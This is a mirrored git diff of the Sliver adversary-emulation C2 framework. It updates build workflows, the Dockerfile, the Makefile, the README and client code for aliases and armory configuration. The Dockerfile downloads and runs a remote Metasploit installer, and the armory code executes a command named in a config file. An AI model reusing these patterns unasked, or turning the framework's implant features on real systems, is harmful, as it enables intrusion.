mirror of
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synced 2026-11-08 01:38:17 -10:00
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No files matched your search
@@ -3,7 +3,7 @@ name: Release
|
||||
on:
|
||||
push:
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master]
|
||||
branches: [master, goreleaser]
|
||||
|
||||
jobs:
|
||||
|
||||
@@ -14,10 +14,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -35,6 +35,8 @@ jobs:
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Linux Artifacts
|
||||
@@ -44,7 +46,11 @@ jobs:
|
||||
path: ./sliver-*
|
||||
|
||||
- name: Make Windows
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _windows
|
||||
run: |
|
||||
make clean
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -59,10 +65,10 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
@@ -77,10 +83,14 @@ jobs:
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make AMD64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos
|
||||
run: make macos
|
||||
|
||||
# - name: Make ARM64
|
||||
# run: make macos-arm64
|
||||
|
||||
- name: Make ARM64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos-arm64
|
||||
run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
@@ -98,10 +108,18 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
- run: mkdir -p ./release && mkdir -p ./artifacts
|
||||
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v2
|
||||
with:
|
||||
path: ./artifacts
|
||||
path: ./builds
|
||||
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/linux/* ./artifacts
|
||||
cp ./builds/windows/* ./artifacts
|
||||
cp ./builds/macos/* ./artifacts
|
||||
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
@@ -109,43 +127,34 @@ jobs:
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
- name: Release
|
||||
run: mkdir -p ./release
|
||||
|
||||
# Linux
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
|
||||
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
|
||||
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
|
||||
|
||||
# Windows
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
|
||||
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
|
||||
|
||||
# MacOS AMD64
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
|
||||
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
|
||||
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
|
||||
|
||||
# MacOS ARM64
|
||||
# - name: Package MacOS ARM64
|
||||
# run: |
|
||||
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
|
||||
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
|
||||
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: false
|
||||
prerelease: true
|
||||
files: |
|
||||
./release/*
|
||||
./artifacts/*
|
||||
@@ -17,10 +17,10 @@ jobs:
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: "^1.17"
|
||||
go-version: "^1.18"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
|
||||
@@ -6,19 +6,24 @@ on:
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -47,13 +52,13 @@ jobs:
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 45
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
|
||||
- name: Go 1.17
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
go-version: '^1.18'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
@@ -40,3 +40,5 @@ sliver-server-windows.zip
|
||||
.glide/
|
||||
|
||||
.DS_Store
|
||||
|
||||
dist/
|
||||
+16
-16
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17.5
|
||||
FROM golang:1.18.4
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,22 +6,22 @@ FROM golang:1.17.5
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 3.17.1
|
||||
ENV PROTOC_GEN_GO_VER v1.26.0
|
||||
ENV GRPC_GO v1.1.0
|
||||
ENV PROTOC_VER 3.19.4
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
# Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
|
||||
#
|
||||
# > User
|
||||
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
# > Metasploit
|
||||
#
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
|
||||
@@ -3,36 +3,51 @@
|
||||
#
|
||||
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
PKG = github.com/bishopfox/sliver/client/version
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
|
||||
|
||||
#
|
||||
# Prerequisites
|
||||
#
|
||||
# https://stackoverflow.com/questions/5618615/check-if-a-program-exists-from-a-makefile
|
||||
EXECUTABLES = uname sed git zip date $(GO)
|
||||
EXECUTABLES = uname sed git zip date cut $(GO)
|
||||
K := $(foreach exec,$(EXECUTABLES),\
|
||||
$(if $(shell which $(exec)),some string,$(error "No $(exec) in PATH")))
|
||||
|
||||
#
|
||||
# Version Information
|
||||
#
|
||||
GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 18
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
|
||||
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
|
||||
@@ -62,49 +77,60 @@ ifeq ($(UNAME_S),Darwin)
|
||||
SED_INPLACE := sed -i ''
|
||||
STATIC_TARGET := macos
|
||||
endif
|
||||
|
||||
# If no target is specified, determine GOARCH
|
||||
ifeq ($(UNAME_P),arm)
|
||||
ENV += GOARCH=arm64
|
||||
ifeq ($(MAKECMDGOALS), )
|
||||
ENV += GOARCH=arm64
|
||||
endif
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux)
|
||||
# Redefine LDFLAGS to add the static part
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-extldflags '-static' \
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux-arm64
|
||||
linux-arm64: clean validate-go-version
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
@@ -114,6 +140,17 @@ pb:
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
elif [ $(GO_MAJOR_VERSION) -lt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
elif [ $(GO_MINOR_VERSION) -lt $(MIN_SUPPORTED_GO_MINOR_VERSION) ] ; then \
|
||||
echo '$(GO_VERSION_VALIDATION_ERR_MSG)';\
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
.PHONY: clean-all
|
||||
clean-all: clean
|
||||
rm -rf ./server/assets/fs/darwin/amd64
|
||||
@@ -124,5 +161,4 @@ clean-all: clean
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client_arm64 sliver-server_arm64
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
@@ -1,7 +1,7 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
@@ -17,13 +17,11 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
* Local and remote process injection
|
||||
* Windows process migration
|
||||
* Windows user token manipulation
|
||||
* Anti-fingerprinting features
|
||||
* Windows process migration, process injection, user token manipulation, etc.
|
||||
* Let's Encrypt integration
|
||||
* In-memory .NET assembly execution
|
||||
* COFF/BOF in-memory loader
|
||||
* TCP and named pipe pivots
|
||||
* Much more!
|
||||
|
||||
### Getting Started
|
||||
@@ -42,6 +40,10 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
|
||||
|
||||
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
|
||||
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
@@ -1,9 +1 @@
|
||||
fs/*.zip
|
||||
fs/extensions/darwin/amd64/
|
||||
fs/extensions/darwin/arm64/
|
||||
fs/extensions/linux/amd64/
|
||||
fs/extensions/windows/amd64/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/linux/386/
|
||||
fs/extensions/windows/386/
|
||||
fs/**
|
||||
@@ -0,0 +1,65 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
AliasesDirName = "aliases"
|
||||
)
|
||||
|
||||
// GetAliasesDir - Returns the path to the config dir
|
||||
func GetAliasesDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, AliasesDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetInstalledAliasManifests - Returns a list of installed alias manifests
|
||||
func GetInstalledAliasManifests() []string {
|
||||
aliasDir := GetAliasesDir()
|
||||
aliasDirContent, err := ioutil.ReadDir(aliasDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
}
|
||||
manifests := []string{}
|
||||
for _, fi := range aliasDirContent {
|
||||
if fi.IsDir() {
|
||||
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
|
||||
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
|
||||
log.Printf("no manifest in %s, skipping ...", manifestPath)
|
||||
continue
|
||||
}
|
||||
manifests = append(manifests, manifestPath)
|
||||
}
|
||||
}
|
||||
return manifests
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
armoryConfigFileName = "armories.json"
|
||||
)
|
||||
|
||||
var (
|
||||
// DefaultArmoryPublicKey - The default public key for the armory
|
||||
DefaultArmoryPublicKey string
|
||||
// DefaultArmoryRepoURL - The default repo url for the armory
|
||||
DefaultArmoryRepoURL string
|
||||
|
||||
defaultArmoryConfig = &ArmoryConfig{
|
||||
PublicKey: DefaultArmoryPublicKey,
|
||||
RepoURL: DefaultArmoryRepoURL,
|
||||
}
|
||||
)
|
||||
|
||||
// ArmoryConfig - The armory config file
|
||||
type ArmoryConfig struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Authorization string `json:"authorization"`
|
||||
AuthorizationCmd string `json:"authorization_cmd"`
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
data, err := ioutil.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigs)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
if armoryConfig.AuthorizationCmd != "" {
|
||||
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
|
||||
}
|
||||
}
|
||||
return append(armoryConfigs, defaultArmoryConfig)
|
||||
}
|
||||
|
||||
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
|
||||
if armoryConfig.AuthorizationCmd == "" {
|
||||
return ""
|
||||
}
|
||||
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
|
||||
if err != nil {
|
||||
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
|
||||
return ""
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
+11
-72
@@ -19,49 +19,28 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
var (
|
||||
//go:embed fs/extensions/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
|
||||
const (
|
||||
// SliverClientDirName - Directory storing all of the client configs/logs
|
||||
SliverClientDirName = ".sliver-client"
|
